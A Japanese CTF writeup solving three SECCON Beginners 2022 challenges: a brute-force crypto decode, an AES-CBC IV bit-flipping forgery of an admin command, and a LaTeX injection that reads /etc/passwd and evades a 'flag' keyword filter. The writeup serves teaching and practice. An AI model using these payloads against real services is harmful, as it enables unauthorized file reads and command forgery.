SECCON Beginners CTF 2022 writeup
SECCON Beginners CTF 2022にHelloJapwnとして参加し、891チーム中8位でした。
順位はチームメンバーのおかげなので、一緒に出てくれた2人に感謝。
ここでは自分が解いた3問のwriteupを書きます。
目次
CoughingFox [crypto][beginner]
flagの暗号化に使用したproblem.pyとその出力のoutput.txtが与えられる。
from random import shuffle flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}" cipher = [] for i in range(len(flag)): f = flag[i] c = (f + i)**2 + i cipher.append(c) shuffle(cipher) print("cipher =", cipher)
これはflagを1文字ずつ次のように変換している。
flagで使う文字は\x20-\x7eであることと、output.txtからflagの長さが49であることを考えると、cipherに出てくる数字は同じになることはない。
よって以下のように、あり得る文字を全探索すればよい。
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472] flag = [] for i in range(0, len(cipher)): for c in cipher: for s in range(0x20, 0x7f): if (s+i)**2 + i == c: flag.append(s) for f in flag: print(chr(f), end="")
$ python solve.py ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
Command [crypto][easy]
サーバで動いているchal.pyが与えられる。
from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Util.number import isPrime from secret import FLAG, key import os def main(): while True: print('----- Menu -----') print('1. Encrypt command') print('2. Execute encrypted command') print('3. Exit') select = int(input('> ')) if select == 1: encrypt() elif select == 2: execute() elif select == 3: break else: pass print() def encrypt(): print('Available commands: fizzbuzz, primes, getflag') cmd = input('> ').encode() if cmd not in [b'fizzbuzz', b'primes', b'getflag']: print('unknown command') return if b'getflag' in cmd: print('this command is for admin') return iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) enc = cipher.encrypt(pad(cmd, 16)) print(f'Encrypted command: {(iv+enc).hex()}') def execute(): inp = bytes.fromhex(input('Encrypted command> ')) iv, enc = inp[:16], inp[16:] cipher = AES.new(key, AES.MODE_CBC, iv) try: cmd = unpad(cipher.decrypt(enc), 16) if cmd == b'fizzbuzz': fizzbuzz() elif cmd == b'primes': primes() elif cmd == b'getflag': getflag() except ValueError: pass def fizzbuzz(): for i in range(1, 101): if i % 15 == 0: print('FizzBuzz') elif i % 3 == 0: print('Fizz') elif i % 5 == 0: print('Buzz') else: print(i) def primes(): for i in range(1, 101): if isPrime(i): print(i) def getflag(): print(FLAG) if __name__ == '__main__': main()
コマンドを入力して暗号化した値を出力させるか、暗号文を入力して復号したコマンドを実行させることができる。
入力できるコマンドは"fizzbuzz", "primes", "getflag"の3つで、"fizzbuzz"は1から100までのfizzbuzzを出力し、"primes"は1から100までの素数を出力し、"getflag"はFLAGを出力するコマンドである。
ただ、getflagは暗号化してくれないため、自分で暗号文を求める必要がある。
最初はpadding oracleなどを考えていたが、エラーを出力してくれないので使うことができない。
よくよく考えてみると"fizzbuzz"はAESのブロックサイズ(128 bit)より小さく、一つのブロックしか使わない。
ということは"fizzbuzz"の暗号文を用いれば、iv(初期ベクトル)を変えることで128 bit以下の任意の文字列に復号させることができる。
"getflag"に復号されるivを以下のように求めた。
from Crypto.Util.Padding import pad, unpad def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) inp = bytes.fromhex("a41af64aa18aacbb23ac806c138f89a975516d656a3a222eea7a28e9f079ae5e") iv, enc = inp[:16], inp[16:] fizzbuzz=pad("fizzbuzz".encode(), 16) getflag=pad("getflag".encode(), 16) x=byte_xor(fizzbuzz, iv) c=byte_xor(x, getflag) print(c.hex())
$ python solve.py a516f856af9eb1c822ad816d128e88a8
$ nc command.quals.beginners.seccon.jp 5555 ----- Menu ----- 1. Encrypt command 2. Execute encrypted command 3. Exit > 1 Available commands: fizzbuzz, primes, getflag > fizzbuzz Encrypted command: a41af64aa18aacbb23ac806c138f89a975516d656a3a222eea7a28e9f079ae5e ----- Menu ----- 1. Encrypt command 2. Execute encrypted command 3. Exit > 2 Encrypted command> a516f856af9eb1c822ad816d128e88a875516d656a3a222eea7a28e9f079ae5e ctf4b{b1tfl1pfl4ppers}
textex [web][easy]
texを入力するとpdfに変換してくれるwebサービスが与えられる。appと同じディレクトリにflagがある。
チームメンバーが見つけたのだが、以下のようにすればファイルの中身をpdfに表示させることができる。
\documentclass{article} \begin{document} $$ \input{/etc/passwd} $$ \end{document}
ただし、flagという文字が含まれる場合、pdfに変換してくれずエラーとなる。
回避する色々やり方はあり、自分は変数を使った。
\documentclass{article} \begin{document} \newcommand{\variable}[1]{fla#1} $$ \input{../../\variable{g}} $$ \end{document}
texでは{や_が表示されないことに注意すればflagは以下だとわかる。
ctf4b{15_73x_pr0n0unc3d_ch0u?}